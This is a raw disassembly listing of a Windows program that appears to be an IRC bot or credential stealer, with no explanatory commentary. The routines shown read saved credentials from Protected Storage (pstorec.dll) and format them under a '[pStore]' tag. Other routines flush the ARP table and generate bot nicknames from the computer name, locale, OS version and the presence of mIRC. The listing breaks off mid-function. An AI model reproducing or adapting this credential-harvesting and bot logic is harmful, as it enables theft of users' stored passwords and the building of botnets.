loc_408761: ; CODE XREF: .data:004086D7j
; .data:004086EEj ...
xor eax, eax
loc_408763: ; CODE XREF: .data:0040875Fj
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
sub_408766 proc near ; CODE XREF: sub_4019A5+4Fp
; sub_401C87+48E7p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4D66A8 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short locret_40878E
push [esp+arg_0]
call dword_4D66EC ; gethostbyname
test eax, eax
jnz short loc_408787
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_408787: ; CODE XREF: sub_408766+1Bj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_40878E: ; CODE XREF: sub_408766+Dj
retn
sub_408766 endp
; =============== S U B R O U T I N E =======================================
sub_40878F proc near ; CODE XREF: sub_4019A5+D6p
mov ecx, dword_4D6584
xor eax, eax
test ecx, ecx
jz short locret_40879D
jmp ecx
; ---------------------------------------------------------------------------
locret_40879D: ; CODE XREF: sub_40878F+Aj
retn
sub_40878F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40879E proc near ; CODE XREF: sub_401C87:loc_403BC6p
var_88 = byte ptr -88h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 88h
push ebx
xor ebx, ebx
push esi
inc ebx
push edi
lea eax, [ebp+var_8]
xor edi, edi
push ebx
push eax
push edi
xor esi, esi
mov [ebp+var_8], edi
mov [ebp+var_4], ebx
call dword_4D66E4 ; GetIpNetTable
mov ecx, eax
sub ecx, edi
jz loc_40886A
sub ecx, 32h
jz loc_408863
sub ecx, 48h
jz short loc_4087FE
sub ecx, 6Eh
jz short loc_4087F7
push eax
push offset unk_43AFF0
loc_4087E6: ; CODE XREF: sub_40879E+91j
lea eax, [ebp+var_88]
push eax
call sub_417CB0
add esp, 0Ch
jmp short loc_408844
; ---------------------------------------------------------------------------
loc_4087F7: ; CODE XREF: sub_40879E+40j
push offset unk_43B01C
jmp short loc_408836
; ---------------------------------------------------------------------------
loc_4087FE: ; CODE XREF: sub_40879E+3Bj
push [ebp+var_8]
call sub_415090
push [ebp+var_8]
mov esi, eax
push edi
push esi
call sub_417700
add esp, 10h
cmp esi, edi
jz short loc_408831
lea eax, [ebp+var_8]
push ebx
push eax
push esi
call dword_4D66E4 ; GetIpNetTable
cmp eax, edi
jz short loc_40886A
push eax
push offset unk_43B040
jmp short loc_4087E6
; ---------------------------------------------------------------------------
loc_408831: ; CODE XREF: sub_40879E+79j
push offset unk_43B06C
loc_408836: ; CODE XREF: sub_40879E+5Ej
; sub_40879E+CAj
lea eax, [ebp+var_88]
push eax
call sub_417CB0
pop ecx
pop ecx
loc_408844: ; CODE XREF: sub_40879E+57j
lea eax, [ebp+var_88]
mov [ebp+var_4], edi
push eax
call sub_40F927
pop ecx
loc_408854: ; CODE XREF: sub_40879E+CEj
; sub_40879E+E2j
push esi
call sub_415C20
mov eax, [ebp+var_4]
pop ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_408863: ; CODE XREF: sub_40879E+32j
push offset unk_43B09C
jmp short loc_408836
; ---------------------------------------------------------------------------
loc_40886A: ; CODE XREF: sub_40879E+29j
; sub_40879E+89j
cmp [esi], edi
jbe short loc_408854
lea ebx, [esi+4]
loc_408871: ; CODE XREF: sub_40879E+E0j
push ebx
call dword_4D66E0 ; DeleteIpNetEntry
inc edi
add ebx, 18h
cmp edi, [esi]
jb short loc_408871
jmp short loc_408854
sub_40879E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408882 proc near ; CODE XREF: sub_401C87+1E2Bp
; sub_401C87+2687p ...
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push 10h
pop eax
mov [ebp+var_4], eax
push eax
lea eax, [ebp+var_14]
push 0
push eax
call sub_417700
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
call dword_4D660C ; getsockname
movzx eax, [ebp+var_D]
push eax
mov esi, offset dword_4D6794
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_F]
push eax
movzx eax, [ebp+var_10]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push esi
call sub_417CB0
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_408882 endp
; =============== S U B R O U T I N E =======================================
sub_4088DB proc near ; CODE XREF: .data:0040A72Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
xor edx, edx
cmp ecx, 1
push esi
jle short loc_408906
lea eax, [ecx-2]
push edi
shr eax, 1
inc eax
mov esi, eax
neg esi
lea ecx, [ecx+esi*2]
mov esi, [esp+8+arg_0]
loc_4088F9: ; CODE XREF: sub_4088DB+26j
movzx edi, word ptr [esi]
add edx, edi
inc esi
inc esi
dec eax
jnz short loc_4088F9
pop edi
jmp short loc_40890A
; ---------------------------------------------------------------------------
loc_408906: ; CODE XREF: sub_4088DB+Aj
mov esi, [esp+4+arg_0]
loc_40890A: ; CODE XREF: sub_4088DB+29j
test ecx, ecx
jz short loc_408913
movzx eax, byte ptr [esi]
add edx, eax
loc_408913: ; CODE XREF: sub_4088DB+31j
mov ecx, edx
and edx, 0FFFFh
shr ecx, 10h
add ecx, edx
pop esi
mov eax, ecx
shr eax, 10h
add eax, ecx
not eax
retn
sub_4088DB endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+0Ch]
mov edx, [ebp+8]
push esi
xor esi, esi
cmp ecx, 1
mov [ebp-4], esi
jle short loc_40895A
lea eax, [ecx-2]
push edi
shr eax, 1
inc eax
lea edi, [eax+eax]
sub ecx, edi
loc_40894C: ; CODE XREF: .data:00408954j
movzx edi, word ptr [edx]
add esi, edi
inc edx
inc edx
dec eax
jnz short loc_40894C
pop edi
cmp ecx, 1
loc_40895A: ; CODE XREF: .data:0040893Ej
jnz short loc_408967
mov al, [edx]
mov [ebp-4], al
movzx eax, word ptr [ebp-4]
add esi, eax
loc_408967: ; CODE XREF: .data:loc_40895Aj
mov ecx, esi
and esi, 0FFFFh
sar ecx, 10h
add ecx, esi
pop esi
mov eax, ecx
sar eax, 10h
add eax, ecx
not eax
leave
retn
; ---------------------------------------------------------------------------
retn 0Ch
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
loc_408986: ; DATA XREF: sub_401C87+3C70o
mov eax, offset loc_433EE0
call sub_4191E0
sub esp, 0FA0h
push ebx
push esi
mov esi, [ebp+8]
push edi
push 21h
lea edi, [ebp-1C4h]
pop ecx
rep movsd
push offset aPstorec_dll ; "pstorec.dll"
call dword_4E037C ; LoadLibraryA
xor ebx, ebx
cmp eax, ebx
jz loc_408E7D
push offset aPstorecreatein ; "PStoreCreateInstance"
push eax
call dword_4E0380 ; GetProcAddress
lea ecx, [ebp+8]
mov esi, eax
call sub_408E90
push ebx
push ebx
push ebx
lea ecx, [ebp+8]
mov [ebp-4], ebx
call sub_408E9B
push eax
call esi ; GetProcAddress
cmp eax, ebx
jl loc_408E75
lea ecx, [ebp-10h]
call sub_408EAD
lea ecx, [ebp-10h]
mov byte ptr [ebp-4], 1
call sub_408EB8
push eax
push ebx
push ebx
lea ecx, [ebp+8]
call sub_408EAA
mov ecx, eax
call sub_408F0E
cmp eax, ebx
lea ecx, [ebp-10h]
jge loc_408E53
jmp loc_408E70
; ---------------------------------------------------------------------------
loc_408A21: ; CODE XREF: .data:00408E67j
sub esp, 10h
lea esi, [ebp-34h]
mov edi, esp
lea eax, [ebp-78h]
movsd
movsd
movsd
push offset asc_43B0FC ; "%x"
push eax
movsd
call dword_4E04D8 ; wsprintfA
add esp, 18h
lea ecx, [ebp-14h]
call sub_408EAD
lea ecx, [ebp-14h]
mov byte ptr [ebp-4], 2
call sub_408EB8
push eax
lea eax, [ebp-34h]
push ebx
push eax
push ebx
lea ecx, [ebp+8]
call sub_408EAA
mov ecx, eax
call sub_408F23
jmp loc_408E27
; ---------------------------------------------------------------------------
loc_408A6E: ; CODE XREF: .data:00408E3Ej
lea ecx, [ebp-18h]
call sub_408ECA
lea ecx, [ebp-18h]
mov byte ptr [ebp-4], 3
call sub_408ED5
push eax
lea eax, [ebp-44h]
push ebx
push eax
lea eax, [ebp-34h]
lea ecx, [ebp+8]
push eax
push ebx
call sub_408EAA
mov ecx, eax
call sub_408F61
jmp loc_408DFE
; ---------------------------------------------------------------------------
loc_408AA1: ; CODE XREF: .data:00408E15j
push dword ptr [ebp-20h]
mov edi, dword_4E04D8
lea eax, [ebp-5C4h]
push offset aWs ; "%ws"
push eax
call edi ; wsprintfA
add esp, 0Ch
lea eax, [ebp-1Ch]
lea ecx, [ebp+8]
mov [ebp-24h], ebx
push ebx
push ebx
push eax
lea eax, [ebp-24h]
push eax
lea eax, [ebp-44h]
push dword ptr [ebp-20h]
mov [ebp-1Ch], ebx
push eax
lea eax, [ebp-34h]
push eax
push ebx
call sub_408EAA
mov ecx, eax
call sub_408F3C
push dword ptr [ebp-1Ch]
call dword_4E0390 ; lstrlenA
mov esi, [ebp-24h]
lea eax, [esi-1]
test eax, eax
jz short loc_408B2C
xor edx, edx
xor ecx, ecx
cmp esi, ebx
jbe short loc_408B23
loc_408B01: ; CODE XREF: .data:00408B21j
mov eax, [ebp-1Ch]
mov al, [ecx+eax]
cmp al, bl
jnz short loc_408B15
mov byte ptr [ebp+edx-3C4h], 2Ch
jmp short loc_408B1C
; ---------------------------------------------------------------------------
loc_408B15: ; CODE XREF: .data:00408B09j
mov [ebp+edx-3C4h], al
loc_408B1C: ; CODE XREF: .data:00408B13j
inc edx
inc ecx
inc ecx
cmp ecx, esi
jb short loc_408B01
loc_408B23: ; CODE XREF: .data:00408AFFj
mov [ebp+edx-3C5h], bl
jmp short loc_408B40
; ---------------------------------------------------------------------------
loc_408B2C: ; CODE XREF: .data:00408AF7j
push dword ptr [ebp-1Ch]
lea eax, [ebp-3C4h]
push offset aS_23 ; "%s"
push eax
call edi ; wsprintfA
add esp, 0Ch
loc_408B40: ; CODE XREF: .data:00408B2Aj
mov esi, dword_4E038C
lea eax, [ebp-0FACh]
push offset byte_4D67A8
push eax
call esi ; lstrcpyA
lea eax, [ebp-9C4h]
push offset byte_4D67A9
push eax
call esi ; lstrcpyA
mov edi, dword_4E0388
lea eax, [ebp-78h]
push offset a5e7e8100 ; "5e7e8100"
push eax
call edi ; lstrcmpA
test eax, eax
jnz loc_408C54
lea eax, [ebp-140h]
push offset byte_4D67AA
push eax
call esi ; lstrcpyA
lea eax, [ebp-3C4h]
push offset asc_43B112 ; ":"
push eax
call sub_417E00
pop ecx
test eax, eax
pop ecx
jz short loc_408BD3
lea eax, [ebp-3C4h]
push offset asc_43B114 ; "::"
push eax
call sub_417E00
pop ecx
inc eax
pop ecx
push eax
lea eax, [ebp-140h]
push eax
call esi ; lstrcpyA
lea eax, [ebp-3C4h]
push 43B116h
push eax
call sub_417E00
pop ecx
mov [eax], bl
pop ecx
loc_408BD3: ; CODE XREF: .data:00408B9Ej
lea eax, [ebp-3C4h]
push offset byte_4D67AB
push eax
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz short loc_408C2A
lea eax, [ebp-140h]
push offset byte_4D67AC
push eax
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz short loc_408C2A
lea eax, [ebp-140h]
push eax
lea eax, [ebp-3C4h]
push eax
lea eax, [ebp-5C4h]
push eax
lea eax, [ebp-7C4h]
push offset aPstoreSSS ; "[pStore] %s %s:%s"
push eax
call sub_417CB0
add esp, 14h
loc_408C2A: ; CODE XREF: .data:00408BE8j
; .data:00408BFFj
push ebx
lea eax, [ebp-7C4h]
push ebx
push eax
lea eax, [ebp-1C0h]
push eax
push dword ptr [ebp-1C4h]
call sub_40764A
lea eax, [ebp-7C4h]
push eax
call sub_40F927
add esp, 18h
loc_408C54: ; CODE XREF: .data:00408B75j
lea eax, [ebp-78h]
push offset aE161255a ; "e161255a"
push eax
call edi ; lstrcmpA
test eax, eax
jnz loc_408DCF
lea eax, [ebp-5C4h]
push offset aStringindex ; "StringIndex"
push eax
call sub_417E00
pop ecx
test eax, eax
pop ecx
jnz loc_408DCF
lea eax, [ebp-5C4h]
push offset aString ; ":String"
push eax
call sub_417E00
pop ecx
test eax, eax
pop ecx
jz short loc_408CAE
lea eax, [ebp-5C4h]
push offset aString_0 ; ":String"
push eax
call sub_417E00
pop ecx
mov [eax], bl
pop ecx
loc_408CAE: ; CODE XREF: .data:00408C97j
lea eax, [ebp-5C4h]
push 8
push eax
lea eax, [ebp-140h]
push eax
call dword_4E0384 ; lstrcpynA
lea eax, [ebp-140h]
push offset aHttp_0 ; "http:/"
push eax
call sub_417E00
pop ecx
test eax, eax
pop ecx
jnz short loc_408CF6
lea eax, [ebp-140h]
push offset aHttps ; "https:/"
push eax
call sub_417E00
pop ecx
test eax, eax
pop ecx
jz loc_408DCF
loc_408CF6: ; CODE XREF: .data:00408CD9j
lea eax, [ebp-140h]
push offset byte_4D67AD
push eax
call esi ; lstrcpyA
lea eax, [ebp-3C4h]
push offset asc_43B164 ; ",,,"
push eax
call sub_417E00
pop ecx
test eax, eax
pop ecx
jz short loc_408D4E
lea eax, [ebp-3C4h]
push 43B166h
push eax
call sub_417E00
pop ecx
inc eax
pop ecx
push eax
lea eax, [ebp-140h]
push eax
call esi ; lstrcpyA
lea eax, [ebp-3C4h]
push 43B168h
push eax
call sub_417E00
pop ecx
mov [eax], bl
pop ecx
loc_408D4E: ; CODE XREF: .data:00408D19j
lea eax, [ebp-3C4h]
push offset byte_4D67AE
push eax
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz short loc_408DA5
lea eax, [ebp-140h]
push offset byte_4D67AF
push eax
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz short loc_408DA5
lea eax, [ebp-140h]
push eax
lea eax, [ebp-3C4h]
push eax
lea eax, [ebp-5C4h]
push eax
lea eax, [ebp-7C4h]
push offset aPstoreSSS_0 ; "[pStore] %s %s:%s"
push eax
call sub_417CB0
add esp, 14h
loc_408DA5: ; CODE XREF: .data:00408D63j
; .data:00408D7Aj
push ebx
lea eax, [ebp-7C4h]
push ebx
push eax
lea eax, [ebp-1C0h]
push eax
push dword ptr [ebp-1C4h]
call sub_40764A
lea eax, [ebp-7C4h]
push eax
call sub_40F927
add esp, 18h
loc_408DCF: ; CODE XREF: .data:00408C61j
; .data:00408C7Cj ...
mov esi, 200h
lea eax, [ebp-5C4h]
push esi
push ebx
push eax
call sub_417700
push esi
lea eax, [ebp-3C4h]
push ebx
push eax
call sub_417700
add esp, 18h
push 3E8h
call dword_4E033C ; Sleep
loc_408DFE: ; CODE XREF: .data:00408A9Cj
lea ecx, [ebp-18h]
call sub_408EE4
mov ecx, [eax]
lea edx, [ebp-20h]
push ebx
push edx
push 1
push eax
call dword ptr [ecx+0Ch]
test eax, eax
jz loc_408AA1
lea ecx, [ebp-18h]
mov byte ptr [ebp-4], 2
call sub_408ED0
loc_408E27: ; CODE XREF: .data:00408A69j
lea ecx, [ebp-14h]
call sub_408EC7
mov ecx, [eax]
lea edx, [ebp-44h]
push ebx
push edx
push 1
push eax
call dword ptr [ecx+0Ch]
test eax, eax
jz loc_408A6E
lea ecx, [ebp-14h]
mov byte ptr [ebp-4], 1
call sub_408EB3
lea ecx, [ebp-10h]
loc_408E53: ; CODE XREF: .data:00408A16j
call sub_408EC7
mov ecx, [eax]
lea edx, [ebp-34h]
push ebx
push edx
push 1
push eax
call dword ptr [ecx+0Ch]
test eax, eax
jz loc_408A21
lea ecx, [ebp-10h]
loc_408E70: ; CODE XREF: .data:00408A1Cj
call sub_408EB3
loc_408E75: ; CODE XREF: .data:004089E5j
lea ecx, [ebp+8]
call sub_408E96
loc_408E7D: ; CODE XREF: .data:004089B6j
mov ecx, [ebp-0Ch]
pop edi
pop esi
xor eax, eax
mov large fs:0, ecx
pop ebx
leave
retn 4
; =============== S U B R O U T I N E =======================================
sub_408E90 proc near ; CODE XREF: .data:004089CDp
mov eax, ecx
and dword ptr [eax], 0
retn
sub_408E90 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_408E96 proc near ; CODE XREF: .data:00408E78p
; .data:00433EC3j
jmp sub_408EE7
sub_408E96 endp
; =============== S U B R O U T I N E =======================================
sub_408E9B proc near ; CODE XREF: .data:004089DBp
push esi
mov esi, ecx
call sub_408EE7
and dword ptr [esi], 0
mov eax, esi
pop esi
retn
sub_408E9B endp
; =============== S U B R O U T I N E =======================================
sub_408EAA proc near ; CODE XREF: .data:00408A05p
; .data:00408A5Dp ...
mov eax, [ecx]
retn
sub_408EAA endp
; =============== S U B R O U T I N E =======================================
sub_408EAD proc near ; CODE XREF: .data:004089EEp
; .data:00408A42p
mov eax, ecx
and dword ptr [eax], 0
retn
sub_408EAD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_408EB3 proc near ; CODE XREF: .data:00408E4Bp
; .data:loc_408E70p ...
jmp sub_408EF4
sub_408EB3 endp
; =============== S U B R O U T I N E =======================================
sub_408EB8 proc near ; CODE XREF: .data:004089FAp
; .data:00408A4Ep
push esi
mov esi, ecx
call sub_408EF4
and dword ptr [esi], 0
mov eax, esi
pop esi
retn
sub_408EB8 endp
; =============== S U B R O U T I N E =======================================
sub_408EC7 proc near ; CODE XREF: .data:00408E2Ap
; .data:loc_408E53p
mov eax, [ecx]
retn
sub_408EC7 endp
; =============== S U B R O U T I N E =======================================
sub_408ECA proc near ; CODE XREF: .data:00408A71p
mov eax, ecx
and dword ptr [eax], 0
retn
sub_408ECA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_408ED0 proc near ; CODE XREF: .data:00408E22p
; .data:00433EDBj
jmp sub_408F01
sub_408ED0 endp
; =============== S U B R O U T I N E =======================================
sub_408ED5 proc near ; CODE XREF: .data:00408A7Dp
push esi
mov esi, ecx
call sub_408F01
and dword ptr [esi], 0
mov eax, esi
pop esi
retn
sub_408ED5 endp
; =============== S U B R O U T I N E =======================================
sub_408EE4 proc near ; CODE XREF: .data:00408E01p
mov eax, [ecx]
retn
sub_408EE4 endp
; =============== S U B R O U T I N E =======================================
sub_408EE7 proc near ; CODE XREF: sub_408E96j sub_408E9B+3p
mov eax, [ecx]
test eax, eax
jz short locret_408EF3
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
locret_408EF3: ; CODE XREF: sub_408EE7+4j
retn
sub_408EE7 endp
; =============== S U B R O U T I N E =======================================
sub_408EF4 proc near ; CODE XREF: sub_408EB3j sub_408EB8+3p
mov eax, [ecx]
test eax, eax
jz short locret_408F00
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
locret_408F00: ; CODE XREF: sub_408EF4+4j
retn
sub_408EF4 endp
; =============== S U B R O U T I N E =======================================
sub_408F01 proc near ; CODE XREF: sub_408ED0j sub_408ED5+3p
mov eax, [ecx]
test eax, eax
jz short locret_408F0D
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
locret_408F0D: ; CODE XREF: sub_408F01+4j
retn
sub_408F01 endp
; =============== S U B R O U T I N E =======================================
sub_408F0E proc near ; CODE XREF: .data:00408A0Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov eax, [ecx]
push [esp+4+arg_4]
push [esp+8+arg_0]
push ecx
call dword ptr [eax+38h]
retn 0Ch
sub_408F0E endp
; =============== S U B R O U T I N E =======================================
sub_408F23 proc near ; CODE XREF: .data:00408A64p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
mov eax, [ecx]
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
push ecx
call dword ptr [eax+3Ch]
retn 10h
sub_408F23 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408F3C proc near ; CODE XREF: .data:00408AE1p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push [ebp+arg_1C]
mov eax, [ecx]
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push ecx
call dword ptr [eax+44h]
pop ebp
retn 20h
sub_408F3C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408F61 proc near ; CODE XREF: .data:00408A97p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push [ebp+arg_10]
mov eax, [ecx]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push ecx
call dword ptr [eax+54h]
pop ebp
retn 14h
sub_408F61 endp
; =============== S U B R O U T I N E =======================================
sub_408F7D proc near ; CODE XREF: sub_409361+4Ap
; DATA XREF: .data:off_43B190o
arg_0 = dword ptr 4
push esi
push edi
call dword_4E036C ; GetTickCount
push eax
call sub_417DB0
call sub_417DC0
xor edx, edx
mov ecx, 48Fh
div ecx
mov edi, [esp+0Ch+arg_0]
push off_43DC28[edx*4]
push offset dword_43EE64
push 1Ch
push edi
call sub_417E80
xor esi, esi
add esp, 14h
cmp dword_43709C, esi
jle short loc_408FE4
loc_408FBE: ; CODE XREF: sub_408F7D+65j
call sub_417DC0
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_43EE68
push 1Ch
push edi
call sub_417E80
add esp, 14h
inc esi
cmp esi, dword_43709C
jl short loc_408FBE
loc_408FE4: ; CODE XREF: sub_408F7D+3Fj
mov eax, edi
pop edi
pop esi
retn
sub_408F7D endp
; ---------------------------------------------------------------------------
push esi
push edi
call dword_4E036C ; GetTickCount
push eax
call sub_417DB0
mov edi, [esp+10h]
mov dword ptr [esp], offset aJav0_0 ; "[Jav0]"
push offset dword_43EE70
push 1Ch
push edi
call sub_417E80
xor esi, esi
add esp, 10h
cmp dword_43709C, esi
jle short loc_409042
loc_40901C: ; CODE XREF: .data:00409040j
call sub_417DC0
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_43EE74
push 1Ch
push edi
call sub_417E80
add esp, 14h
inc esi
cmp esi, dword_43709C
jl short loc_40901C
loc_409042: ; CODE XREF: .data:0040901Aj
mov eax, edi
pop edi
pop esi
retn
; =============== S U B R O U T I N E =======================================
sub_409047 proc near ; CODE XREF: sub_401C87+5237p
arg_0 = dword ptr 4
push ebx
push esi
push edi
call dword_4E036C ; GetTickCount
push eax
call sub_417DB0
pop ecx
call sub_417DC0
push 3
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
xor edi, edi
idiv ecx
mov esi, edx
add esi, dword_43709C
test esi, esi
jle short loc_40908A
loc_409074: ; CODE XREF: sub_409047+41j
call sub_417DC0
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov [edi+ebx], dl
inc edi
cmp edi, esi
jl short loc_409074
loc_40908A: ; CODE XREF: sub_409047+2Bj
and byte ptr [edi+ebx], 0
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_409047 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov esi, offset dword_43EE7C
mov dword ptr [ebp-4], 100h
xor edi, edi
call dword_4E036C ; GetTickCount
push eax
call sub_417DB0
pop ecx
lea eax, [ebp-4]
push eax
push esi
call dword_4E0394 ; GetComputerNameA
test eax, eax
jnz short loc_4090C9
mov esi, offset dword_43EE80
loc_4090C9: ; CODE XREF: .data:004090C2j
movsx eax, byte ptr [esi]
push 41h
pop ecx
loc_4090CF: ; CODE XREF: .data:004090DAj
cmp eax, ecx
jnz short loc_4090D6
xor edi, edi
inc edi
loc_4090D6: ; CODE XREF: .data:004090D1j
inc ecx
cmp ecx, 5Bh
jl short loc_4090CF
push 61h
pop ecx
loc_4090DF: ; CODE XREF: .data:004090EAj
cmp eax, ecx
jnz short loc_4090E6
xor edi, edi
inc edi
loc_4090E6: ; CODE XREF: .data:004090E1j
inc ecx
cmp ecx, 7Bh
jl short loc_4090DF
test edi, edi
jnz short loc_4090F5
mov esi, offset dword_43EE84
loc_4090F5: ; CODE XREF: .data:004090EEj
mov edi, [ebp+8]
push esi
push 1Ch
push edi
call sub_417E80
xor esi, esi
add esp, 0Ch
cmp dword_43709C, esi
jle short loc_409134
loc_40910E: ; CODE XREF: .data:00409132j
call sub_417DC0
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_43EE88
push 1Ch
push edi
call sub_417E80
add esp, 14h
inc esi
cmp esi, dword_43709C
jl short loc_40910E
loc_409134: ; CODE XREF: .data:0040910Cj
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
call dword_4E036C ; GetTickCount
push eax
call sub_417DB0
pop ecx
lea eax, [ebp-0Ch]
push 0Ah
push eax
push 7
push 800h
call dword_4E0398 ; GetLocaleInfoA
mov edi, [ebp+8]
lea eax, [ebp-0Ch]
push eax
push offset dword_43EE90
push 1Ch
push edi
call sub_417E80
xor esi, esi
add esp, 10h
cmp dword_43709C, esi
jle short loc_4091A9
loc_409183: ; CODE XREF: .data:004091A7j
call sub_417DC0
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_43EE94
push 1Ch
push edi
call sub_417E80
add esp, 14h
inc esi
cmp esi, dword_43709C
jl short loc_409183
loc_4091A9: ; CODE XREF: .data:00409181j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 94h
push esi
lea eax, [ebp-94h]
push edi
push eax
mov esi, offset byte_4D67B0
mov dword ptr [ebp-94h], 94h
call dword_4E039C ; GetVersionExA
call dword_4E036C ; GetTickCount
push eax
call sub_417DB0
cmp dword ptr [ebp-90h], 4
pop ecx
jnz short loc_409233
cmp dword ptr [ebp-8Ch], 0
jnz short loc_409213
cmp dword ptr [ebp-84h], 1
jnz short loc_409203
mov esi, offset dword_43EE9C
loc_409203: ; CODE XREF: .data:004091FCj
cmp dword ptr [ebp-84h], 2
jnz short loc_40926F
mov esi, offset dword_43EEA0
jmp short loc_40926F
; ---------------------------------------------------------------------------
loc_409213: ; CODE XREF: .data:004091F3j
cmp dword ptr [ebp-8Ch], 0Ah
jnz short loc_409223
mov esi, offset dword_43EEA4
jmp short loc_40926F
; ---------------------------------------------------------------------------
loc_409223: ; CODE XREF: .data:0040921Aj
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_40926A
mov esi, offset dword_43EEA8
jmp short loc_40926F
; ---------------------------------------------------------------------------
loc_409233: ; CODE XREF: .data:004091EAj
cmp dword ptr [ebp-90h], 5
jnz short loc_40926A
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40924C
mov esi, offset dword_43EEAC
jmp short loc_40926F
; ---------------------------------------------------------------------------
loc_40924C: ; CODE XREF: .data:00409243j
cmp dword ptr [ebp-8Ch], 1
jnz short loc_40925C
mov esi, offset dword_43EEB0
jmp short loc_40926F
; ---------------------------------------------------------------------------
loc_40925C: ; CODE XREF: .data:00409253j
cmp dword ptr [ebp-8Ch], 2
mov esi, offset dword_43EEB4
jz short loc_40926F
loc_40926A: ; CODE XREF: .data:0040922Aj
; .data:0040923Aj
mov esi, offset dword_43EEB8
loc_40926F: ; CODE XREF: .data:0040920Aj
; .data:00409211j ...
mov edi, [ebp+8]
push esi
push offset dword_43EEBC
push 1Ch
push edi
call sub_417E80
xor esi, esi
add esp, 10h
cmp dword_43709C, esi
jle short loc_4092B3
loc_40928D: ; CODE XREF: .data:004092B1j
call sub_417DC0
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_43EEC4
push 1Ch
push edi
call sub_417E80
add esp, 14h
inc esi
cmp esi, dword_43709C
jl short loc_40928D
loc_4092B3: ; CODE XREF: .data:0040928Bj
mov eax, edi
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4092B9 proc near ; CODE XREF: sub_409361+5Dp
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
call dword_4E036C ; GetTickCount
xor edx, edx
mov ecx, 5265C00h
div ecx
push 0
mov esi, eax
cmp esi, 64h
jbe short loc_409308
push offset aMirc_0 ; "mIRC"
call dword_4D6674 ; FindWindowA
test eax, eax
mov eax, offset aM_0 ; "[M]"
jnz short loc_4092F1
mov eax, offset byte_4D67B1
loc_4092F1: ; CODE XREF: sub_4092B9+31j
push eax
push esi
push offset aDS ; "[%d]%s"
lea eax, [ebp+var_1C]
push 1Ch
push eax
call sub_417E80
add esp, 14h
jmp short loc_40932D
; ---------------------------------------------------------------------------
loc_409308: ; CODE XREF: sub_4092B9+1Dj
push offset aMirc_1 ; "mIRC"
call dword_4D6674 ; FindWindowA
test eax, eax
mov eax, offset aM_1 ; "[M]"
jnz short loc_409321
mov eax, offset word_4D67B2
loc_409321: ; CODE XREF: sub_4092B9+61j
push eax
lea eax, [ebp+var_1C]
push eax
call sub_417CB0
pop ecx
